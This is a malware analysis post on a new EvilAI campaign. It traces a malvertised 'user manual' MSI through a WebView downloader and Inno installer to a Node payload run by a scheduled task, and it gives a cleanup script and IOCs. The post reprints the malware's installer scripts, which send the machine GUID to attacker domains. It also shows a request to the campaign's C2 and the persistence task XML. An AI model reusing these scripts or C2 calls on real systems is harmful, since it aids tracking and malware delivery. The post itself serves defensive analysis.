EvilAI Update
EvilAI Update
EvilAI is back at it again! Nothing significant has hanged with the payload or the Node abuse, but the campaign has developed a new Advanced Installer MSI lure that unpacks and executes a WebView2 .Net application loader. This loader creates a temporary directory and downloads the Inno Installer that contains the Node payload and configuration files. Like previous campaigns, the Node payload is executed via Scheduled Task.
Similarly to the earlier campaigns covered in September, the payload itself is heavily obfuscated and contains encoded strings that are decoded at runtime. It accesses several registry keys and uses the Machine GUID to track sessions and activities, from the initial Advanced Installer script to the transmitted data in the Node payload.
Advanced Installer has been incredibly popular lately, with increased use in recently observed payloads (Huorong Security Management Weaponized in ClickFix Attacks). Advanced Installer MSIs are Microsoft Installation files that contain a GUI installer front end, often including PowerShell scripts that run on installation. The main files are stored in a CAB file that is extracted and unpacked by the GUI installer. Advanced Installer, much like Inno Installer, and other installers, simply unpacks and executes the contents of the CAB file and any bundled scripts.
In these new incidents, EvilAI is creating Advanced Installer MSI files following similar naming schemes as previous campaigns, usermanualvault.msi. This MSI contains a “disk1” CAB file, a common naming scheme for CAB files in Advanced Installer binaries. This CAB file contains the WebView .Net application. The WebView application contains a function to create a randomly named folder in the User’s %temp% directory. It downloads a 7zip archive to this folder and unzips it, executing the contained binary. This binary is the Inno Installer that drops the Node files and payload, and creates the scheduled task for execution.
Cleanup Script
Much like the previous campaign cleanup script, this one focuses on removing the scheduled task and files on disk. It is likely that this script will need to be added to as more variants appear. The previous campaign had many different payload names.
Adding to this script should simply involve adding the MSI name to the $files array and updating the Task removal with the name of the Task. Alternatively, the commented Task removal
$ErrorActionPreference = "SilentlyContinue"
$files = @("usermanualvault") # Array for file names - There are better ways to do this, but I want to be explicit for deletions
# Run this for all users on device
$users = (Get-item C:\Users\*).Name
foreach($user in $users){
# Look in downloads for MSI/matching files
$path = "C:\Users\$user\Downloads"
# In this variant, we have only seen dropped files in *\Resources
$apppath = "C:\Users\$user\AppData\Local\Programs\Resources\"
# Delete matching file from downloads
if((Test-Path $path)){
foreach($file in $files){
Write-Host "Removing $path\$file matches"
Get-ChildItem $path | ? Name -match $file | Remove-Item # remove from downloads
}
}
# Delete all files from Resources directory
if((Test-Path $apppath)){
Get-ChildItem $apppath | Remove-Item -force -recurse # Don't run this if you use Resources for anything
}
# Delete my_session.txt from the Temp directory
if((Test-Path "C:\Users\$user\AppData\Local\Temp\my_session.txt")){
Remove-Item -force "C:\Users\$user\AppData\Local\Temp\my_session.txt"
}
# Delete the temp staging directory
$tmp = Get-ChildItem "C:\Users\$user\AppData\Local\Temp\" | ? Name -match "^[{]?[0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}[}]?$" # Machine GUID Regex
foreach($dir in $tmp){
if(Get-ChildItem $dir | Select-String "out.exe"){
Get-ChildItem $dir | Remove-Item -force -recurse # Remove GUID matching directories with out.exe present
}
}
}
# This kills all node.exe tasks
# $tasks = Get-CimInstance -Namespace Root/Microsoft/Windows/TaskScheduler -ClassName MSFT_ScheduledTask
# foreach($task in $tasks){
# if($task.Actions.Arguments -match "node.exe"){
# Write-Host "Unregistering task: $($task.TaskName)"
# Unregister-ScheduledTask -TaskName $task.TaskName -Confirm:$false
# }
# }
# This only kills the identified "Application Maintenance" task
$tasks = Get-CimInstance -Namespace Root/Microsoft/Windows/TaskScheduler -ClassName MSFT_ScheduledTask
foreach($task in $tasks){
if($task.Actions.Arguments -match "node.exe" -And $task.TaskName -eq "Application Maintenance"){
Write-Host "Unregistering task: $($task.TaskName)"
Unregister-ScheduledTask -TaskName $task.TaskName -Confirm:$false
}
}
Incident Overview
This incident was first observed on February 2nd, 2026.
A User was browsing the internet when they clicked on a Google Ads campaign that redirected them to download usermanualvault.msi. Like previous campaigns, this ad was masquerading as a “User Manual” finding application.
The MSI was downloaded from this URL. Note the tracking parameters.
hxxps[://]usermanualvault[.]com/manuals-vault/?utm_source=google&utm_term=instruction%20manual%20software&utm_content=ownersmanuals2[.]com&utm_adgroup=192891996682&gad_source=5&gad_campaignid=23436002100&gclid=EAIaIQobChMIr8HllYWvkgMVpYQdCR0_9QBjEAEYASAAEgI15vD_BwE
| Parameter | Value | Definition |
|---|---|---|
| Base URL | https://usermanualvault.com/manuals-vault/ |
The specific landing page intended for the user. |
| Traffic Source | google |
Identifies the origin of the traffic as Google. |
| Search Term | instruction manual software |
The keyword or phrase that triggered the ad display. |
| Ad Content | ownersmanuals2.com |
Used to track the specific creative or a targeted competitor domain. |
| Ad Group ID | 192891996682 |
The unique ID for the sub-category within the campaign. |
| Campaign ID | 23436002100 |
The top-level ID for the entire advertising initiative. |
| Google Click ID | EAIaIQobChMIr8HllYWvkgMVpYQdCR0_9QBjEAEYASAAEgI15vD_BwE |
An encrypted string used for deep conversion tracking. |
| Source Surface | 5 |
A numeric code used by Google to identify the placement. |
To learn more about Google Ad tracking, please see URL builders, Google Click Identifier, and Google Ads Custom Parameters. I think it’s kind of neat.
Once directed to the page, the user downloaded the MSI and executed it. The great thing about MSI installers is that you can just extract them.
A note on Advanced Installer MSIs
As seen in Huorong Security Management Weaponized in ClickFix Attacks, Advanced Installer MSIs all follow the same formatting. All string data is stored in the !_StringData file and can be viewed with any text editor. The neat thing is, scripts are also located in the StringData file and can be easily extracted from the file. Additionally, all of the Advanced Installer files I’ve seen have followed the same naming scheme for the CAB files, disk1.cab.
Extracting the MSI revealed standard installation and configuration files for Advanced Installer GUI installers. This included a CAB file which was also extracted.
The !_StringData file contained an installation script that was extracted. Notably, this script sends a POST request to two domains on the InstallStart event and the InstallComplete event.
The payload it sends is the same for both events, outside of the event name field.
{
"sessionId": "GUID for session tracking",
"machineid": "Machine GUID",
"product": "Product Name \"usermanualvault.com\"",
"event": "name of event \"InstallStart\" or \"InstallComplete\"",
"affid": "511123",
"windowserver": "Operating System"
}
Installation Script
$sessionFile = "$env:TEMP\my_session.txt"
if (Test-Path $sessionFile) [\{]
$sessionid = Get-Content -Path $sessionFile -Raw -ErrorAction SilentlyContinue
$sessionid = $sessionid.Trim()
[\}] else [\{]
$sessionid = [\[]guid[\]]::NewGuid().ToString()
Set-Content -Path $sessionFile -Value $sessionid
[\}]
$affid = "511123"
# Machine ID
$machineid = $null
try [\{]
$reg64 = [\[]Microsoft.Win32.RegistryKey[\]]::OpenBaseKey(
[\[]Microsoft.Win32.RegistryHive[\]]::LocalMachine,
[\[]Microsoft.Win32.RegistryView[\]]::Registry64
)
$cryptKey64 = $reg64.OpenSubKey("SOFTWARE\Microsoft\Cryptography")
if ($cryptKey64) [\{]
$guid = $cryptKey64.GetValue("MachineGuid")
if ($guid -and $guid.Trim() -ne "") [\{]
$machineid = $guid
[\}]
[\}]
[\}] catch [\{] [\}]
if (-not $machineid) [\{]
try [\{]
$reg32 = [\[]Microsoft.Win32.RegistryKey[\]]::OpenBaseKey(
[\[]Microsoft.Win32.RegistryHive[\]]::LocalMachine,
[\[]Microsoft.Win32.RegistryView[\]]::Registry32
)
$cryptKey32 = $reg32.OpenSubKey("SOFTWARE\Microsoft\Cryptography")
if ($cryptKey32) [\{]
$guid = $cryptKey32.GetValue("MachineGuid")
if ($guid -and $guid.Trim() -ne "") [\{]
$machineid = $guid
[\}]
[\}]
[\}] catch [\{] [\}]
[\}]
$windowsver = (Get-CimInstance Win32_OperatingSystem).Version
$body = @[\{]
product = "usermanualvault.com"
affid = $affid
event = "InstallComplete"
sessionid = $sessionid
windowsver = $windowsver
[\}]
if ($machineid) [\{]
$body.machineid = $machineid
[\}]
$json = $body | ConvertTo-Json -Compress
Invoke-RestMethod `
-Uri "https://event.usermanualvault.com" `
-Method Post `
-Body $json `
-ContentType "application/json"
$body2 = @[\{]
id = $machineid
[\}]
$json2 = $body2 | ConvertTo-Json -Compress
Invoke-RestMethod `
-Uri "https://web.appactivitycounter.com/complete" `
-Method Post `
-Body $json2 `
-ContentType "application/json"ScriptPreambleparam(
[\[]alias("propFile")[\]] [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $msiPropOutFilePath
,[\[]alias("propSep")[\]] [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $msiPropKVSeparator
,[\[]alias("lineSep")[\]] [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $msiPropLineSeparator
,[\[]alias("scriptFile")[\]] [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $userScriptFilePath
,[\[]alias("scriptArgsFile")[\]][\[]Parameter(Mandatory=$false)[\]][\[]string[\]] $userScriptArgsFilePath
,[\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $testPrefix
,[\[]switch[\]] $isTest
)
Function AI_GetMsiProperty( [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $name
, [\[]Parameter(Mandatory=$false)[\]] $testValue = $null
)
[\{]
if ($isTest -and ($testValue -ne $null))
[\{]
[\[]string[\]] $newData = "$testPrefix$name$msiPropKVSeparator$testValue$msiPropLineSeparator"
[\[]System.IO.File[\]]::AppendAllText($msiPropOutFilePath, $newData, [\[]System.Text.Encoding[\]]::Unicode)
return $testValue
[\}]
[\[]string[\]] $contentData = Get-Content $msiPropOutFilePath -raw
[\[]array[\]] $content = $contentData -split $msiPropLineSeparator
[\[]array[\]]::Reverse($content)
ForEach ($line in $content)
[\{]
$lineTokens = $line -split $msiPropKVSeparator
if ($lineTokens.Count -gt 1 -and $lineTokens[\[]0[\]] -eq $name)
[\{]
return $lineTokens[\[]1[\]]
[\}]
[\}]
return ''
[\}]
Function AI_SetMsiProperty( [\[]Parameter(Mandatory=$true)[\]] $name
, [\[]Parameter(Mandatory=$false)[\]] $value
)
[\{]
if ($value -eq $null)
[\{]
Write-Output "POTENTIAL_BUG: MSI property $name set to an uninitialized/null variable. Initialize empty variables using empty quotes."
[\}]
[\[]string[\]] $newData = "$name$msiPropKVSeparator$value$msiPropLineSeparator"
[\[]System.IO.File[\]]::AppendAllText($msiPropOutFilePath, $newData, [\[]System.Text.Encoding[\]]::Unicode)
[\}]
Set-Alias -name "Get-Property" -value AI_GetMsiProperty
Set-Alias -name "Set-Property" -value AI_SetMsiProperty
try
[\{]
[\[]string[\]] $userScriptArgs = Get-Content $userScriptArgsFilePath
$userScriptFilePath = $userScriptFilePath.Replace(' ', '` ')
$userScriptFilePath = $userScriptFilePath.Replace('(', '`(')
$userScriptFilePath = $userScriptFilePath.Replace(')', '`)')
$userScriptFilePath = $userScriptFilePath.Replace('$', '`$')
$userScriptFilePath = $userScriptFilePath.Replace('&', '`&')
# Simple quotes are problematic, especially when more in a succession
# e.g. in a username. We need to enclose each bundle of them in a simple quoted string
# with each contained simple quote being escaped by doubling. N initial quotes => (N+1)*2 final quotes
$userScriptFilePath = $userScriptFilePath.Replace("''''", "??????????")
$userScriptFilePath = $userScriptFilePath.Replace("'''", "????????")
$userScriptFilePath = $userScriptFilePath.Replace("''", "??????")
$userScriptFilePath = $userScriptFilePath.Replace("'", "????")
$userScriptFilePath = $userScriptFilePath.Replace('?', "'")
Invoke-Expression "$userScriptFilePath $userScriptArgs"
if ($LastExitCode -ne $null)
[\{]
exit $LastExitCode;
[\}]
[\}]
catch
[\{]
Write-Output "ERROR: $($_.Exception.Message)"
Exit 0x23E #ERROR_UNHANDLED_EXCEPTION
[\}]
AI_SET_PATCHAI_DATA_SETTERUserManualVault.exeAI_DATA_SETTER_1ParamsScript$sessionid = [\[]guid[\]]::NewGuid().ToString()
$sessionFile = "$env:TEMP\my_session.txt"
Set-Content -Path $sessionFile -Value $sessionid
$affid = "511123"
$machineid = $null
try [\{]
$reg64 = [\[]Microsoft.Win32.RegistryKey[\]]::OpenBaseKey(
[\[]Microsoft.Win32.RegistryHive[\]]::LocalMachine,
[\[]Microsoft.Win32.RegistryView[\]]::Registry64
)
$cryptKey64 = $reg64.OpenSubKey("SOFTWARE\Microsoft\Cryptography")
if ($cryptKey64) [\{]
$guid = $cryptKey64.GetValue("MachineGuid")
if ($guid -and $guid.Trim() -ne "") [\{]
$machineid = $guid
[\}]
[\}]
[\}] catch [\{] [\}]
if (-not $machineid) [\{]
try [\{]
$reg32 = [\[]Microsoft.Win32.RegistryKey[\]]::OpenBaseKey(
[\[]Microsoft.Win32.RegistryHive[\]]::LocalMachine,
[\[]Microsoft.Win32.RegistryView[\]]::Registry32
)
$cryptKey32 = $reg32.OpenSubKey("SOFTWARE\Microsoft\Cryptography")
if ($cryptKey32) [\{]
$guid = $cryptKey32.GetValue("MachineGuid")
if ($guid -and $guid.Trim() -ne "") [\{]
$machineid = $guid
[\}]
[\}]
[\}] catch [\{] [\}]
[\}]
$windowsver = (Get-CimInstance Win32_OperatingSystem).Version
$body = @[\{]
product = "usermanualvault.com"
affid = $affid
event = "InstallStart"
sessionid = $sessionid
windowsver = $windowsver
[\}]
if ($machineid) [\{]
$body.machineid = $machineid
[\}]
$json = $body | ConvertTo-Json -Compress
Invoke-RestMethod `
-Uri "https://event.usermanualvault.com" `
-Method Post `
-Body $json `
-ContentType "application/json"
ScriptPreambleparam(
[\[]alias("propFile")[\]] [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $msiPropOutFilePath
,[\[]alias("propSep")[\]] [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $msiPropKVSeparator
,[\[]alias("lineSep")[\]] [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $msiPropLineSeparator
,[\[]alias("scriptFile")[\]] [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $userScriptFilePath
,[\[]alias("scriptArgsFile")[\]][\[]Parameter(Mandatory=$false)[\]][\[]string[\]] $userScriptArgsFilePath
,[\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $testPrefix
,[\[]switch[\]] $isTest
)
Function AI_GetMsiProperty( [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $name
, [\[]Parameter(Mandatory=$false)[\]] $testValue = $null
)
[\{]
if ($isTest -and ($testValue -ne $null))
[\{]
[\[]string[\]] $newData = "$testPrefix$name$msiPropKVSeparator$testValue$msiPropLineSeparator"
[\[]System.IO.File[\]]::AppendAllText($msiPropOutFilePath, $newData, [\[]System.Text.Encoding[\]]::Unicode)
return $testValue
[\}]
[\[]string[\]] $contentData = Get-Content $msiPropOutFilePath -raw
[\[]array[\]] $content = $contentData -split $msiPropLineSeparator
[\[]array[\]]::Reverse($content)
ForEach ($line in $content)
[\{]
$lineTokens = $line -split $msiPropKVSeparator
if ($lineTokens.Count -gt 1 -and $lineTokens[\[]0[\]] -eq $name)
[\{]
return $lineTokens[\[]1[\]]
[\}]
[\}]
return ''
[\}]
Function AI_SetMsiProperty( [\[]Parameter(Mandatory=$true)[\]] $name
, [\[]Parameter(Mandatory=$false)[\]] $value
)
[\{]
if ($value -eq $null)
[\{]
Write-Output "POTENTIAL_BUG: MSI property $name set to an uninitialized/null variable. Initialize empty variables using empty quotes."
[\}]
[\[]string[\]] $newData = "$name$msiPropKVSeparator$value$msiPropLineSeparator"
[\[]System.IO.File[\]]::AppendAllText($msiPropOutFilePath, $newData, [\[]System.Text.Encoding[\]]::Unicode)
[\}]
Set-Alias -name "Get-Property" -value AI_GetMsiProperty
Set-Alias -name "Set-Property" -value AI_SetMsiProperty
try
[\{]
[\[]string[\]] $userScriptArgs = Get-Content $userScriptArgsFilePath
$userScriptFilePath = $userScriptFilePath.Replace(' ', '` ')
$userScriptFilePath = $userScriptFilePath.Replace('(', '`(')
$userScriptFilePath = $userScriptFilePath.Replace(')', '`)')
$userScriptFilePath = $userScriptFilePath.Replace('$', '`$')
$userScriptFilePath = $userScriptFilePath.Replace('&', '`&')
# Simple quotes are problematic, especially when more in a succession
# e.g. in a username. We need to enclose each bundle of them in a simple quoted string
# with each contained simple quote being escaped by doubling. N initial quotes => (N+1)*2 final quotes
$userScriptFilePath = $userScriptFilePath.Replace("''''", "??????????")
$userScriptFilePath = $userScriptFilePath.Replace("'''", "????????")
$userScriptFilePath = $userScriptFilePath.Replace("''", "??????")
$userScriptFilePath = $userScriptFilePath.Replace("'", "????")
$userScriptFilePath = $userScriptFilePath.Replace('?', "'")
Invoke-Expression "$userScriptFilePath $userScriptArgs"
if ($LastExitCode -ne $null)
[\{]
exit $LastExitCode;
[\}]
[\}]
catch
[\{]
Write-Output "ERROR: $($_.Exception.Message)"
Exit 0x23E #ERROR_UNHANDLED_EXCEPTION
[\}]
During the installation, several DLLs and executable files are extracted from the CAB file.
The WebView.exe binary is a C# .Net binary that can be disassembled and viewed in ILSpy or DNSpy. A quick disassembly reveals that it is creating directories and downloading files to the directory, extracting and executing them after a successful download.
The WebView binary simply loads a standard WebView2 process directed at hxxps[://]open[.]usermanualvault[.]com.
It also grabs the GUID of the machine, likely to correlate with the installation session from the Advanced Installer script.
It uses a custom User-Agent of web when connecting to endpoints. This includes sending and receiving JSON data.
The main function of this WebView application is to create a randomly named folder in the user’s $env:Temp directory and drop dl.zip. This zip archive gets extracted to out.exe and executed. A call is made to hxxps[://]log[.]premiumlicensecheck[.]com/up, with the response used as arguments for the launch of out.exe. If there isn’t a valid response from this endpoint, the node payload doesn’t run. This is likely an anti-analysis technique to ensure that the GUID in the install session already exists.
To get a valid response from the server, you do need to have a valid Body.
$body = @{requestData=@{id=New-GUID}} | ConvertTo-JSON
$a = iwr "https://log.premiumlicensecheck.com/up" -UserAgent "web" -Method Post -ContentType "application/json" -Body $body
This will result in an empty 200 response, presumably because the id does not exist in the system.
HTTP/1.1 200 OK
Connection: keep-alive
Date: Wed, 04 Feb 2026 16:40:48 GMT
Apigw-Requestid: YQ92niiqPHcES3g=
X-Cache: Miss from cloudfront
Via: 1.1 6e698386c371eb80623fd6117adca880.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: MSP50-P5
X-Amz-Cf-Id: SuxeR5p8X5vUi7ptsz4Aikea7l4w4d4I1WUbjO9MrG6-Jv6vUWF8wA==
Content-Length: 0
Using a Machine GUID ID for a device that ran the installer script will output the valid command line arguments passed to out.exe.
{"d":"https://validate.premiumlicensecheck.com/out.zip","p":"vqeobczaik","a":"/VERYSILENT /SUPPRESSMSGBOXES"}
The dropped binary out.exe is an Inno Setup Installer similar to the installers used in previous EvilAI campaigns. It includes the Node files and Node payload. Inno Installers can be extracted with InnoUnpacker.
The Inno Setup Installer contains the Scheduled Task XML that is used to register the task. This task follows the same pattern as previous campaigns. The task name in this sample was explicitly set to Application Maintenance.
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<TimeTrigger>
<Repetition>
<Interval>PT24H</Interval>
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>
<StartBoundary>2019-01-01T00:00:00</StartBoundary>
<ExecutionTimeLimit>PT1H</ExecutionTimeLimit>
<Enabled>true</Enabled>
<RandomDelay>PT30M</RandomDelay>
</TimeTrigger>
<RegistrationTrigger>
<Enabled>true</Enabled>
</RegistrationTrigger>
</Triggers>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>C:\Windows\System32\cmd.exe</Command>
<Arguments>/C start "" /min "%app%\node\node.exe" "%app%\%task%"</Arguments>
<WorkingDirectory>%app%\node</WorkingDirectory>
</Exec>
</Actions>
</Task>
This task results in a CMD command that resolves to this:
"C:\Windows\System32\cmd.exe" /C start "" /min "C:\Users\%USER%\AppData\Local\Programs\Resources\node\node.exe" "C:\Users\%USER%\AppData\Local\Programs\Resources\list"
The Node payload is named list and contains heavily obfuscated code. The code is detected as obfuscated by obfuscator.io, though this detection may not be accurate.
When deobfuscated using Obfuscator.io Deobfuscator, the resulting code is approximately 2000 lines long. On the surface level, it appears very similar to previous campaigns.
I didn’t have time to RE the Node payload, but I did submit the Inno Installer to Triage. It looks like it’s submitting the Machine GUID to receive data. As the sandbox VM GUID isn’t present in the EvilAI system, this is likely not returning any data. As with the previous calls, the Machine GUID must already exist from the installation script for future payloads to function.
A more in-depth review of the Node payload may be added at a later date, when I can sandbox in my own env.
IOCs
| Name | Hash | Description |
|---|---|---|
| usermanualvault.msi | 513F0B96C071AECD4026FE080BC7A624BE7B8B1D04EDCA520DF62C049C14BC96 | The initial installer |
| !_StringData | BC8A661C5C2D808F9FFBEE5FDE1A3CAD7592DD7AB1F15FED2F6E8D52C6D1A89D | The StringData file holding the installer script |
| disk1.cab | 8DEA91BC61DEDF9E713397E104039721DAFD81EBA63FB006B406A9521F3C8732 | CAB file containing WebView binary |
| WebView.exe | 6384E81660B474E430857852FDC708173E76CDB4B11B972721B54DD99F071AA4 | WebView binary |
| WebView.exe.config | 09FEAFE4B2F1F68DA8F6C6B420DC75820521C8F3F65EFEB4DFCFBC1C980F1B5A | Config file for WebView |
| WebView.pdb | 07179634E136553D413BC3DF35A0AF146D4D79CD7D6436EEEB6CF85BDA76AA7A | PDB for WebView |
| out.exe | 70A920EEA3545032B5C56A7F96E95C3087544319259490EA68BE1EB1D1B21834 | Downloaded Inno Setup Installer Triage |
| list | BD7AED21C189381CB0B106655B14FA22AE1FF80D9908672A0D1D4849C1DAC447 | Node payload (See Triage link) |
| t.xml | A287C2FDED03EC843A8E19B5160925DA09507DCADEA463AE47F34C5106CA849A | Task XML |
| Domain | Description |
|---|---|
| usermanualvault.com | The download and contact domain used with the installer MSI |
| appactivitycounter.com | Contacted during the installation |
| premiumlicensecheck.com | WebView domain contacted for InnoSetup Installer arguments |